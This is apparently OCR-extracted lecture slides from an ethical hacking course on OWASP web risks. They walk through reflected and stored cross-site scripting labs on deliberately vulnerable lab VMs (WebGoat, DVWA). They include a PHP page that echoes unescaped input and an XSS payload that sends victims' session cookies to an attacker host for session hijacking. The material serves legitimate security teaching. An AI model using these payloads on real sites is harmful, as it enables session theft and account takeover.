Web applications frequently redirect and forward users to other pages and websites, and use
untrusted data to determine the destination pages. Without proper validation, attackers can

redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
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Open Web Application Security Project (OWASP)

OWASP Risk Rating Methodology

App /

A :
Specific

Difficul pectic
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Cross-Site Scripting (XSS)

OWASP Risk Rating

Attack . Technical Business
Threat Agents Security Weakness

Vectors Impacts Impacts

Application Exploitability

Specific AVERAGE

Impact Application /
MODERATE Business Specific

Consider the

Consider anyone  |Attacker sends text-|XSS is the most prevalent web Attackers can

who can send based attack scripts |application security flaw. XSS flaws execute scripts in a P R

untrusted data to  |that exploit the 2 EUEEET EEET

and all the data it

occur when an application includes user |victim’'s browser to

the system, interpreter in the supplied data in a page sent to the hijack user

including external |browser. Almost browser without properly validating or sessions, deface processes.

users, internal any source of data |escaping that content. There are two web sites, insert Also consider the

users, and can be an attack  |different types of XSS flaws: 1) Stored  |hostile content, business impact of

administrators. vector, including and 2) Reflected, and each of these can |redirect users, public exposure of
internal sources Joccur on the a) Server or b) on the hijack the user’s the vulnerability.
such as data from |Client. browser using

the database. malware, etc.

Detection of most Server XSS flaws is
fairly easy via testing or code analysis.
Client XSS is very difficult to identify.
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> »l o) 009/833

(111l Tube https://www.youtube.com/watch?v=L5I9ISnNMx
69
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OWASP Cross Site Scripting Prevention Cheat Sheet

How Do I Prevent 'Cross-Site Scripting (XSS)'?

Preventing XSS requires separation of untrusted data from active

browser content.

1. The preferred option is to properly escape all untrusted data
based on the HTML context (body, attribute, JavaScript, CSS, or
URL) that the data will be placed into. See the

for details on the required data escaping
techniques.

2. Positive or "whitelist" server-side input validation is also
recommended as it helps protect against XSS, but is not a
complete defense as many applications require special characters

in their input. Such validation should, as much as possible,
validate the length, characters, format, and business rules on
that data before accepting the input.

3. For rich content, consider auto-sanitization libraries like
OWASP’s or the :

4. Consider (CSP) to defend against XSS
across your entire site.
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Reflected Cross-Site Scripting (XSS)

Non-persistent because nothing is stored in a database.

Malicious JavaScript is fed into a web page that displays
whatever was user entered.

Malicious Javascript can be inserted into a URL that is then
emailed to the victim.
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Reflected XSS Example Reference and Credit

R
» ., . ]
Lre A

TV

Computer Science

< C @ hitps//www.youtube.com,

You[D

XSS oo
CROSS SITE SCRIPTING IN EVERYTHING
MICROSOFT
Non Persistent Scripts HYPER-V.

XSS #2

Excellent set of tutorials on XSS 74


https://www.youtube.com/watch?v=dFci82qwXA0
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Reflected Cross-Site Scripting (XSS)

Example Overview:

We will use a simple form webpage on EH-OWASP-xx to simulate
how reflected cross-site scripting can feed malicious code into a
form that will then be executed by the browser.

The user/attacker will browse from EH-WinXP to the EH-OWASP
web server.

75



As root on your EH-OWASP VM;

cd /var/www
mkdir lessonl2
cd lessonl2/
mkdir xssO01

cd xss01/

scp xxxxxx716@opus-ii:/home/cis76/depot/lessonl2/xss01/*

Copy the DRAPS TV
index.php file to your
OWASP VM

chmod 644 index.php We want to publish this page via the
service apache2 status Apache web server
vi index.php View the web page which

contain HTML and PGP code.
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rootQRowaspbwa: /var/www/lessonl2/xss01l# cat index.php

<!DOCTYPE html>

<html>

<!-- Credit: DrapsTV at https://www.youtube.com/watch?v=dFci82qwXA0 -->
<title> XSS Tutorial #2 </title>

<body>

<hl align="center"> Try My New Search Feature! </hl>

<table align="center">

<tr><td>

<form action="index.php" method="get"> The We_b page has
<input type="text" name="search" placeholder="search" /> a one field web
<input type="submit" value="Search" /> form and a submit

</form> button.

</td></tr>

</table>

<br />

<br />

<p align="center">

<?php

if (isset($_GET["search"]))

{ Form data is sent
echo "The results of your search for: ".$ GET["search"]; in the URL via the
echo "<br /><br /> <i>Sorry No Results Found! </i>"; http GET method.

>

</p>

<h3 align="center"> This website was made by me! I hope you really really like it! </h3>

</body>

</html>

root@owaspbwa: /var/www/lessonl2/xss01# 77
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File Edit ‘“iew History Bookmarks Tools

@& »355 Tutorial #2 -

e \-, 10.76.5,101lessonl 2/ xs501 findex., php = i:CKSearch ' ﬁ E lr ‘ﬁ‘ (=]

Try My New Search Feature!

|search | [ Search l

This website was made by me! T hope you really really like it!

From your WinXP VM, browse to the new website on your OWASP VM 78
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DRAPS

Reflected Cross-Site Scripting (XSS) Example

\Star Wars | Search for: Star Wars

http://10.76.xx.101/lesson12/xss01/index.php?search=Star+Wars

Eile Edit Wiew History Bookmarks Tools  Help

& %55 Tutorial #2 -

e ' 10,765,101 /lessonl 2[xss01 findex, php?s c i:CLSEarch ' ﬂ' @ 1‘ ﬁ o =

Try My New Search Feature!

|search |[ Search ]

The resultz of vour search for: Star Wars
Sarry No Results Found!

This website was made by me! I hope vou really really like it!
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DRAPS

g Reflected Cross-Site Scripting (XSS) Example

<font color="green"> || Search | Search for: <font color="green">

http://10.76.xx.101/lesson12/xss01/index.php?search=%3Cfont+color®%3D%22green%22%3E

File Edit \iew History Bookmarks Tools  Help

Encoding used:

@) #55 Tutorial #2 Mew Tab

S — %3C is <
\76.5, 101 /lesson 2/ %5501 findex. php?search=<f & || Q search | E 4 # & = )
QRO | o7 toiessnizbst et shiauchet | € Q. sourc IR %3D is =
| %22 is "
Try My New Search Feature! %3E is >
|search H Search ]
| The results of your search for:
Sarry No Reauliz Found!

This website was made by me! I hope yvou really really like it!
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Reflected Cross-Site Scripting (XSS) Example

DRAPS

Manually edit the URL at the top of
the webpage, changing green to red ﬁv

http://10.76.xx.101/lesson12/xss01/index.php?search=%3Cfont+color%3D%22red%22%3E

File  Edit Wiew  History

Encoding used:

&) 55 Tutorial #2

o - _, %22 is "
é (i) | 10.76.5.101 lessonl 2/ xss01 findex. php?s - |;{:1LSearch | ﬂ» E 3 & © = 0/03(: |S <
%3D is =
Try My New Search Feature! %3E is >

|search |[ Search ]

The results of vour search for:
Sarry No Results Faund!

This website was made by me! I hope yvou really really likce it!

81



CIS 76 - Lesson 12  ;': ﬁl lw

Reflected Cross-Site Scripting (XSS) Example

http://10.76.xx.101/lessonl12/xss01/index.php?search=%3Cfont+color%3D%22red%22%3E

Firefox

&) 55 Turorial #2 x

[ € ) (0 10765100 les arial & - R =

File Edit  “iew Favorites Tools  Help ’j‘,‘

Qe - O [ & @) D= { INternet Explorer

Address |@ htkp:if10.76.5,101 flessonl2fxss01 findex, php?search=%3Cfont+color 9 30%22 V| G0 Links **

Copy and paste the
URL into a different

Try My New Search Feature! browser and the
JavaScript is still
| {E=0 executed.

Note, that a tampered

This The results of your search for: URL could be emailed
Sarry No Resulis Found! to another user t-o
This website was made by me! T hope you really really like it! click on.

@ Dane ® Internat
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Reflected Cross-Site Scripting (XSS) Example

been hacked!")</script- || Search Search for: <script>alert("You've been hacked!")</script>

http://10.76.xx.101/lessonl12/xss01/index.php?search=Uh+0h%3Cscript%3Ealert%28
% 22You%27ve+been+hacked%21%22%29% 3C% 2Fscript%3E

File Edit View History Bookmarks Tools Help

o) %S5 Tutorial #2

B8 ¢ AU

You've heen hacked!

83

Transferring data from 10.76.5.101...
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Activity

Try My New Search Feature!

search Search

Search for:

<img src="http://www.simms-teach.com/images/b.jpg"></img>

Put who you see in the search results in the chat window

84
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Stored Cross-Site Scripting (XSS)

« The attacker uses the web application to post content
containing <script> tags full of malicious JavaScript code.

« Later when the victim reads the posted content their
browser will execute the malicious script.

« Persistent because the malicious code is stored in the web
application database.

86


https://en.wikipedia.org/wiki/Cross-site_scripting

OWASP WebGoat v5.4

} Mozilla Firefox

| @ | 10.76.5.101 WebGoat sourcePsoltion=trus

Lesson Plan Title: How to Perform Stored Cross Site Scripting (XSS)

Concept | Topic To Teach:

Itis always a good practice to scrub all inputs, especially those inputs that will later
be used as parameters to OS commands, scripts, and database queries. Itis
particularly important for content that will be permanently stored samewhere. Users
should not be able to create message content that could cause another user ta
load an undesirable page or undesirable content when the user's message is
retrieved

General Goal(s):
The user should be able ta add message content that cause another user to load
an undesirable page or content

Couge [Gmmetem S @ B+ 1 et i | o = S = PSSy puowy-yosws o
i £ o - LN
28-0 @
g G L
e ot o sdeet e oo .
< | >

xX.101/WebGoat/source?solution=tru

Solution page on OWASP VM website
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Stored Cross-Site Scripting (XSS)

Example Overview:

We will use WebGoat on EH-OWASP-xx to simulate how an
attacker can use cross-site scripting to insert malicious code into
content for a forum-like web application. In this case a the
malicious code stored in the database will display an annoying
"Mu Ha Ha Ha" message.

Any victims that read the infected message post will get the
annoying message.

The attacker/victim will browse from EH-WinXP to the EH-OWASP
web server.
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Stored Cross-Site Scripting (XSS) Example

[WinXP] http://10.76.xx.101

File Edit “iew History Bookmarks Tools  Help |T| |E| &|
0 owaspbwwa OWASP Broken W, X “+
€ () 10765101 ' C" Q Search T B A9 =
TRAIMING APPLICATIONS
@OWASP WebGoat @OWASP WebkGoat WNET
Scroll
@OWASP ESAPT Java Swingset Interactive @OWASP Iutilhdae 1T do wn a
@OWASP RailsGoat @OWASP Bricks N little
@'OWASP Security Shepherd @'Ghost
©1Magical Code Injection Rainbow Ovpware
l@Daﬂm Vulnerable Web Application
REALISTIC, INTEHTIOHALLY YULHERABLE APPLICATIONS We are
using Pod

© OWASP Vienum @ OWASP 1-Liner 5 for this
_ example
l@Goo e Gruyere l@Haclﬁzor ¥

89
From your WinXP VM, browse to your OWASP VM and head to WebGoat
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101

Fl=  Edit

) ¥
o Connecting...

':(':' (i) 10.76.5.101 * ||O‘583”h |{? B ¥ @ =

TRAIHING APPLICATIOHNS

Authentication Required

& username and password are being requested by bkbp: i 10.76.5, 101, The site sawvs; “webGoat
P Applicakion”

User Mame: | guesk

Q‘OWA Password: | senes |

@Ma,gic 814 Cancel

@Damn ulnerable Web Application

REALISTIC, INTEHNTIONALLY VULHERABLE APPLICATIOHNS

© oWLSP Vienum © OWASP 1-Liner

_+ T @Hackxor
‘aiting for 10,76.5,101 ..

':.|{

90
Login to WebGoat with both username and password = guest



CIS 76 - Lesson 12+ 1o 2 o B Rf <11

Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack

File Edit ‘“iew Hiskary Bookmarks  Tools  Help

€ WebGoat V5.4 +

(€ ) P @ 10.765.101 fwebGost strark ¢ ][ Q searah wa & A =

-~
- OWASPWebGoat vs4 |

Thank you far using WehGoatl This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing technigues.

The YWebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

OWASP ASPECT

The Capeeny W Apaplication Sacurity Project

Application Security Experts
WebGoat Authors
Bruce hdawhew
Jetf Williams
WebGoat Design Team V5.4 Lesson Contributers
David Anderson Sherif Kousza
Laurene Casey (Fraphics) “riannis Fawlosoglou
Fuogan Dawes
Bruce hdawhew
Special Thanks for V5.4 Decumentation Contributers

Brian Ciomei (Multitude of bug fixes) Eﬁ;ﬁj;’;gif“

To allwho hawe sent comments

Start WebGoat

Sherif Koussa

| £

91
Start OWASP WebGoat Training
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http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

@) stored 155 Attacks

el

€ ) ()| 10.76.5.101 jwebGoat fattack?Screen=374Gmenu=a00 c f:QS.aarch w8 ¥+ #

Choose anather language: |English  +

Logout @

Stored XSS Attacks

* OWASP WebGoat v5.4

Introduction

Authentication Flaws
Buffer Overflows
Code Quality

el RTIA

lCrDss—Site Soripting (XSS)I undesireable content when the user's message is retrieved,
1zhing uit

General Solution Yideos Restart this Lesson
Access Control Flaws
AJAR Security Itis always a good practice to scrub all input, especially those inputs that will later be used as

parameters to OS5 commands, scripts, and database queries. It is particularly important for
content that will be permanently stored somewhere in the application, Users should not be
able to create message content that could cause another user to load an undesireable page or

LAE: Cross Site Scripting Title:
stage 1: Stored X55 Message:

Stage 2 Block Stored x53
uzing Input validation

Stage 3: Mored w53
Renrizited

itage 4 Block tored x53
using Output Encoding

itage & Reflacted w53

stage & Block Reflected x55 Subm
Stored X55 Attacks

Reflected X55 Attacks

Cross Site Reguest Forgery
[C5RF)
CSRF Prompt By-FPass ASPEGT

C5RF Token By-Faz:

Message List

Application Security Experts

=

| £

Navigate to Stored XSS Attacks on left panel

: ol
v

Stored Cross-Site Scripting (XSS) Example

92
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title: MEws

MESSE';IEM hot attacks again|

Subirmit

Message List

ASPECT

Application Securily Experts

| €

Add first message
93
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title: MNew lah

Mess3de! New extra credit lab available

Subirnit

Message List
Mews

| £

~— First message is listed here ASPEET)

Add second message

94
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title: Malicious post

Message! caopript language="javascripc"
type="text,/javascript”ralert ("Mu Ha Ha Ha"):</script:

l Subrnit

Message List
Mews

Mew lab .
S e— Previously added messages \ . =
ASPECT =
Add a third, malicious message, using javascript
<script language="javascript" type="text/javascript'">alert("Mu Ha Ha Ha") ;</script> 95

Also in /home/cis76/depot/lesson12/xss02/code.txt directory on Opus-II
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title:
Message:

Messaqge List
M & 5

-G,

Malicious post

[ £

ASPH:T)

Select a "good" message from Message list to retrieve from the database

96
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title:
Message:

Message mMessage Contents For: News

Title: Mews
contents are Message:Miral bot attacks again

displayed here posted by:guest

Message List
Mews e

Malicious post

ASFEI:T]

Next select the malicious message from Message list to retrieve from the database
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Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

{_ Stored XS5 Attacks

(' ’ w 10.76.5.101/'WebGoat/attack?Mum=15 X ‘ | Q search

Mu Ha Ha Ha

Connected to 10.76.5.101...

98
When the malicious message is retrieved the stored javascript is executed
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https://www.youtube.com/watch?v=T1QEs3mdJoc

[ e Vv abda Web Agp |

« C | [ locahost/chw.

applcallon securty ina o
WARNING!

Damn Vulnersble Web Apg is damn uuinerablel Do not uplaad it to your hasting provid
any intamet facing web server as be compromised. Wa racommend dawnloadin
anto = local machine incide your LK which is used salely for testing

File Inclusion S

=
SOL Injection |

We do not take responsibility way in which any one usas this application Wa
EEENENER 1. oppicsion ciear and ' st maliciqusly, Wo have ghen wartings &

Upload grevent users fom install o servers, If your web sener is comp
VWA it is not our respansibility it s the faspansibility of the perscis whe uplaaced

XSS reflected | 6 ol I 3

e | eneral Instructions

The help button sllovs you 1 \iew hitltips for each vuinerability and for 2ach sacuity)
pags

PAAMA Cnmariins J

start s B 44PP Cortol Fetel , % Darn b
m rdesktop - 1721 o ~

ERUTGEE vmware

Excellent tutorial on stealing a cookie 101


https://www.youtube.com/watch?v=3tRSJwuDBKg
http://danscourses.com/xss-with-a-vulnerable-webapp/

CIS 76 - Lesson 12 . ﬁ l ' lw

Stealing Cookies with XSS

Example Overview:

For this example we will use DVWA web app on the EH-OWASP
VM to show how XSS commands can be used to steal a session

cookie.

The attacker on EH-Kali will login to the DVWA app adding a post
with a malicious script that steals the current cookie and sends it
to a netcat listener on EH-Kali.

The victim on EH-WinXP next logs into the DVWA app and views
the post which sends the session cookie to the attacker.

The attacker on EH-Kali uses a Firefox add-on called Tamper

Data to use the cookie to login as the victim without entering a
username and password!
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Stealing Cookies with XSS

OWASP Setup

Login as root
cd /var/www/dvwa/vulnerabilities/xss s/

vi index.php
On line 49 modify maxlength=\"50\" t0 maxlength=\"200\"

Vulnerability: Stored Cross Site Scripting (XSS)

This modification will let us
enter more than 50
iessagsis characters into the Message

field on this DVWA form

Mame * | |

103
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Stealing Cookies with XSS

Kali Setup

Login as root

Start in Workspace 1

Run Firefox, search for the Tamper Data Add-On and install it.

Restart Firefox

Pancakes stack icon > Customize > Show/Hide Toolbars button > Check Menu Bar

Open a terminal in Workspace 2
systemctl stop apache2

DU WN =

Tamper Data - Add-ons for Firefox - Mozilla Firefox o0 0 Mozilla Firefox ©e® 0
File Edt View History Bookmarks Tools Help
Kall Linux, an Offensive S % | ¢ Tamper Data - Add-0.. % | + Kall Linux, an Offensive S.. % % Tamper Data - Add-o.. % | EJ Customize Firefox
#) © @ Moaia Foundation (US) i per-datal v sW‘ﬁ e+ a9 = ]

%5 Most Visitedw [fOffensive Security "\, Kali Linux \,Kali Docs "\ Kali Tools & Exploit-DB WAircrack-ng RUKali Forums " Netunt Getting Started Bookmarks Toolbar items
Y o ng ing

Additional Tools and Features

L im] A N

Open File Sidebars Share This Page Subscribe

5 80 " e ~
* . m ool a & ©
Text Encoding Email Link Forget

Tamper Data
by Adam Judson

Restart Required Mot compatible with Firefox Quantum &

ise tamperdata to view and modify HTTP/HTTPS headers and post
parameters...

Show / Hide Toolbarsv @ Themesv Restore Defaults

— S

7] Bookmarks Toolbar

104
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/

owaspbwa OWASP Broken Web Applications - Mozilla Firefox e ® 0
File Edit View History Bookmarks Tools Help
Kali Linux, an Offensive S... x | ® owaspbwa OWASP Br... x | +
6 10.76.5.101 v 90% | ¢ ||Q Search A ¥ A9 =

[ Most Visitedv JllOffensive Security "\ Kali Linux % Kali Docs "\ Kali Tools = Exploit-DB WyAircrack-ng g Kali Forums "\ NetHunter @ Getting Started

owaspbwa

OWASP Broken Web Applications Project

o,

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&
sort= severity+asc.

o Ml This VM has many serious security issues. We strongly recommend
ltgl that you run it only on the "host only" or "NAT" network in the virtual
machine settings !!!

TRAINING APPLICATIONS

& 0OWASP WebGoat € O0OWASP WebGoat.NET
EIOWASP ESAPI Java SwingSet Interactive E)OWASP Mutillidae 11
©OWASP RailsGoat € OWASP Bricks

Attacker browses to the OWASP VM in your pod 105
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/

owaspbwa OWASP Broken Web Applications - Mozilla Firefox @ ® 0

File Edit \View History Bookmarks Tools Help

Kali Linux, an Offensive S.. ® | @ owaspbwa OWASP Br.. x \""_ ar

& (©10.765.101 0% | @ ||Q Search T B ¥ # =

5] Most Visited~ [l Offensive Security % Kali Linux "%, Kali Docs " Kali Tools = Exploit-DB Wy Aircrack-ng gKali Forums e MetHunter @ Getting Started
P! q g9

‘ OGS OGT LIS o s |

TRAINING APPLICATIONS

©0OWASP WebGoat @OWASP WebGoal. NET
EOWASP ESAPI Java SwingSet Interactive @0OWASP Mutillidae II
€ OWASP RailsGoat @ OWASP Bricks
@OWASP Security Shepherd @Ghost

@Magical Code Injection Rainbow @M

@ Damn Vulnerable Web Application

REALISTIC, INTENTIONALLY VULNERABLE APPLICATIONS

©OWASP Vicnum @OWASP 1-Liner

@ Google Gruyere @Hackxor

©WackoPicko @ Bodgelt

@Cyc]one l@Pe‘r‘l.lggja

ULD[VULNERRELE)VERSIENS OF REAL APPLICATIONS w

Scroll down and click on the Damn Vulnerable Web Application 106
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/dvwa/login.php

Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox e 60 0

File Edit View History Bookmarks Tools Help

Kali Linux, an Offensive S.. % | @ Damn Vulnerable We.. x \'-. ar

€ ) © & | 10.76.5.101/dvwa/login.php 90% | ¢ ||Q Search WA ¥ #

[ Most Visitedv [l Offensive Security S Kali Linux " Kali Docs "\ Kali Tools = Exploit-DB Wy Aircrack-ng gllKali Forums "\ NetHunter @ Getting Started

<~ N\
DVWA

Login

Login with username and password = admin 107
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[Kali] http://10.76.xx.101/dvwa/index.php

Damn Vulnerable Web App (DVWA) v1.8 :: Welcome - Mozilla Firefox [— O < ]
File Edit View History Bookmarks Tools Help
Kali Linux, an Offensive S... x | Damn Vulnerable We... x \ +

€ | © # | 10.76.5.10 /dvwalindex.php EJ1 90% | @ ||Q Search wBa ¥ &

[ Most Visitedv [l Offensive Security " Kali Linux “y Kali Docs “ Kali Tools = Exploit-DB Wy Aircrack-ng gliKali Forums s, NetHunter @ Getting Started

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to
be an aid for security professionals to test their skills and tools in a legal environment, help web developers better
understand the processes of securing web applications and aid teachers/students to teachilearn web application
security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any
internet facing web server as it will be compromised. We recommend downloading and installing onto a local
machine inside your LAN which is used solely for testing.

Disclaimer

We do not take responsibility for the way inwhich any one uses this application. We have made the purposes of the.
application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users
from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA, it is not
our responsibility it is the responsibility of the person/s who uploaded and installed it

General Instructions

The help button allows you to view hitsttips for each vulnerability and for each security level an their respective page

You have logged in as ‘admin’

Click on Setup

108
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/dvwa/setup.php

Damn Vulnerable Web App (DVWA) v1.8 :: Setup - Mozilla Firefox [— I < ]
File Edit View History Bookmarks Tools Help
Kali Linux, an Offensive 5... % | Damn Vulnerable We.. x | 4+

€ ) @ | 10.76.5.101/dvwalsetup. php EJ(90%) | @ ||Q Search wB ¥ #

[ Most Visited~ [l Offensive Security ' Kali Linux '\ Kali Docs "\ Kali Tools % Exploit-DB W Aircrack-ng gllKali Forums \, NetHunter @ Getting Started

|

Home Database setup

Instructions Click on the ‘Create / Reset Database” button below to create or reset your database. If you get an error make sure you

l:l have the correct user credentials in /config/config.inc php

If the database already exists, it will be cleared and the data will be reset.

Command Execution Backend Database: MySQL

Create / Reset Database |I

Insecure CAPTCHA | L

Click on Create / Reset Database
109
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/dvwa/index.php

Damn Vulnerable Web App (DVWA) v1.8 :: Welcome - Mozilla Firefox [— O < ]
File Edit View History Bookmarks Tools Help
Kali Linux, an Offensive S... x | Damn Vulnerable We... x \ +

€ | © # | 10.76.5.10 /dvwalindex.php EJ1 90% | @ ||Q Search wBa ¥ &

[ Most Visitedv [l Offensive Security " Kali Linux “y Kali Docs “ Kali Tools = Exploit-DB Wy Aircrack-ng gliKali Forums s, NetHunter @ Getting Started

home Welcome to Damn Vulnerable Web App!

Instructions Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to
be an aid for security professionals to test their skills and tools in a legal environment, help web developers better
Setup understand the processes of securing web applications and aid teachers/students to teachilearn web application

security in a class room environment.

Brute Force WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any

CSRF internet facing web server as it will be compromised. We recommend downloading and installing X AN onto a local
machine inside your LAN which is used solely for testing.

Disclaimer

SOL Injecti We do not take responsibility for the way inwhich any one uses this application. We have made the purposes of the.
e application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users
SQL Injection (Blind) from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not

our responsibility itis the responsibility of the personis who uploaded and installed it
General Instructions

The help button allows you to view hitsiips for each vulnerability and for each security level on their respective page.

PHP Info ‘You have logged in as ‘admin’

Click on XSS Stored
110
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/dvwa/vulnerabilities/xss_s/

Damn Vulnerable Web App (DVWA) v1.8 :: Vulnerability: Stored Cross Site Scripting (XSS5) - Mozilla Firefox e 0 0

File Edit View History Bookmarks Tools Help
Kali Linux, an Offensive S... x/ Damn Vulnerable We... * | +

€ | @/ 10.76.5.101/dvwa/vulnerabilities/xss _s/ EJ(90% | ¢ | Q Search wBa ¥+ @ =

[ Most Visitedv i Offensive Security " Kali Linux " Kali Docs ' Kali Tools * Exploit-DB Wy Aircrack-ng glKali Forums " NetHunter @ Getting Started

) -

Vulnerability: Stored Cross Site Scripting (XSS) /

Mumr‘d 4—/1—//

Setup Name *
<script>new Image().src="http://10.76.5.150/bogus . php? "+

Brute Force ‘ § document cookie;</script>
A

é |__sion Guestbook |

Insecure CAPTCHA
File Inclusion
SQL Injection Mame: test
Message: This is a test comment.

e More info

P o
<script>new Image () .src="http://10.76.xx.150/bogus.php? "+
document.cookie;</script>

To lay the trap, fill in the form and click the Sign Guestbook button 111
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/dvwa/vulnerabilities/xss_s/

Damn Vulnerable Web App (DVWA) v1.8 :: Vulnerability: Stored Cross Site Scripting (XSS5) - Mozilla Firefox e 0 0

File Edit View History Bookmarks Tools Help

Kali Linux, an Offensive S... x Damn Vulnerable We.. x \ ar

€ | @/ 10.76.5.101/dvwa/vulnerabilities/xss _s/ EJ(90% | ¢ | Q Search wBa ¥+ @ =

[ Most Visitedv i Offensive Security " Kali Linux " Kali Docs ' Kali Tools * Exploit-DB Wy Aircrack-ng glKali Forums " NetHunter @ Getting Started

|

— Vulnerability: Stored Cross Site Scripting (XSS)

Mu ha hal l

Setup Name *
<script>new Image().src="http://10.76.5.150/bogus . php? "+

Brute Force ‘ § document cookie;</script>

CSRF Sign Guestbook

SQL Injection Mame: test

Message: This is a test comment.

e More info

Log out for now 112
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Stealing Cookies with XSS

[Kali] http://10.76.xx.101/dvwa/vulnerabilities/xss_s/

Damn Vulnerable Web App (DVWA) v1.8 :: Vulnerability: Stored Cross Site Scripting (XSS5) - Mozilla Firefox e 0 0

File Edit View History Bookmarks Tools Help

Kali Linux, an Offensive S... x Damn Vulnerable We.. x \ ar

€ | @/ 10.76.5.101/dvwa/vulnerabilities/xss _s/ EJ(90% | ¢ | Q Search wBa ¥+ @ =

[ Most Visitedv i Offensive Security " Kali Linux " Kali Docs ' Kali Tools * Exploit-DB Wy Aircrack-ng glKali Forums " NetHunter @ Getting Started

|

— Vulnerability: Stored Cross Site Scripting (XSS)

Mu ha hal l

Setup Name *
<script>new Image().src="http://10.76.5.150/bogus . php? "+

Brute Force ‘ § document cookie;</script>

CSRF Sign Guestbook

SQL Injection Mame: test

Message: This is a test comment.

e More info

Attacker logs out for now 113
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Stealing Cookies with XSS

[WIinXP] http://10.76.xx.101

2 owaspbwa OWASP Broken Web Applications - Microsoft Internet Explorer,

File Edit Wiew Favorites Tools  Help

@Back - \_,) @ @ \_;j ;j Search ‘}‘:\\‘{ Favorites @ E_r_é' :; .‘3

Agdress@http:n1nms.1n1; v Bso ks

owaspbwa

OWASP Broken Web Applications Project

—

Wersion 1.2

Thizs is the WM for the Open \Web Application Security Project (0WASP) Broken Web Applications project, [t contains many, very
vulnerable web applications, which are listed below, More information about this project can be found in the project User Guide and
Home Page.

For details ahout the known vulnerahilities in these applications, see https: {{sourceforge.netfnfowasnhwa/tickets?
limit=9998s0rt= severity+asc.

ID 11 This %M has many serious security issues, We strongly recommend that you run i€ only on
the "host only" or "NAT" network in the virtual machine settings 11

TRAINING APPLICATIONS

@OWASF‘ WebhGoat @OWASP WehGoat MET

@OWASP ESAPI Java SwingSet Interactive @OWASP Mutillidae 11

@OWAQD RailsGnat @L’UWARD Firirks ™
&) Dore ® Internet

The victim browses to the OWASP VM 114
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Stealing Cookies

[WIinXP] http://10.76.xx.101

with XSS

2} owaspbwa OWASP Broken Web Applications - Microsoft Internet Explorer,

File Edit ‘“iew Favorites Tools Help

@Eack - \_) @ @ ih j__) Search \;\\?Favnrites @ E‘/_r:g' :; 'ﬁ

Address @] http:/f10.76.5.101]

For details about the known vulnerabilities in these applications, sea https:/fsourceforge netfpfowaspbwa/ticketsf?
limit=999%sort= severity+asc.

111 This WM has many serious security issues. We strongly recommend that you run it only on
the "host only" or "NAT" network in the virtual machine settings 11

TRAINING APPLICATIONS

@OWASP WebhGoat

@OWASP ESAPT Java SwingSet Interactive

@OWASP RailsGoat
@OWASP Security Shepherd

@Magical Code Iniection Rainbow

@Damn Wulnerable Web Application

@OWASP Wichum

@OWL\SP WehGoat.MET
9 pwasp mutlidee 11
@OWASP Bricks

@Ghost

@bWAPP

REALISTIC, INTENTIONALLY VULNERABLE APPLICATIONS

@OWASP 1-liner

@ Done

L4
v| Go  Links *
()
he
' Inkernet

Scroll down and select Damn Vulnerable Web Application

115
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Stealing Cookies with XSS

[WIinXP] http://10.76.xx.101

23 Damn Yulnerable Web App (DYWA) - Login - Microsoft Internet Explorer

File Edit “iew Favorites Tools Help E.
@ Back - -\;) @ @ \»:h p Search \‘,jL\{Favorites @ E’%' ;}_’,! E "3
Address F@ hittpf10.76.5. 101 fdvwajlogin. php V‘ Go | Links

|3

DWA

Username
admin
Password
.....
b
a Done & Internet

Login with username and password = admin 116
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Stealing Cookies with XSS

[WinXP] http://10.76.xx.101/dvwa/index.php

<2 Damn VYulnerable Web App (DVWA) v1.B :: Welcome - Microsoft Internet Explorer
Edit

File

QBack A =) ) |ﬂ @ ;\J /.__\J Search ‘i\?Favontes {?}

Agdress|£§_1http:.l’,l’lD.?S.S.IDI,I’deafindex.php v ks ?

Wiew Fawvorites Tools Help

Welcome to Damn Vulnerable Web App!

Instructions Darnn Yulnerable Web App (DWWA) is a PHR/MyS0L web application that is damn valnerable. lts main goals
are to be an aid for security professionals to test their skills and tools in a legal ervironment, help web developers
Setup better understand the processes of securing web applications and aid teachers/students to teach/learn web

application securty in a class room environment.

WARNING!

Darnn Wulnerable YWeb App is damn valnerablel Do not upload it to your hosting provider's public html folder or
any internet facing web server as it will be compromised. We recormmend downloading and installing ZANP!
onto a local machine inside your LAM which is used saolely for testing.

Brute Force

Command Execution
CSRF
Insecure CAPTCHA

File Inclusion

saL Injection Disclaimer

SOL Injection (Blind)

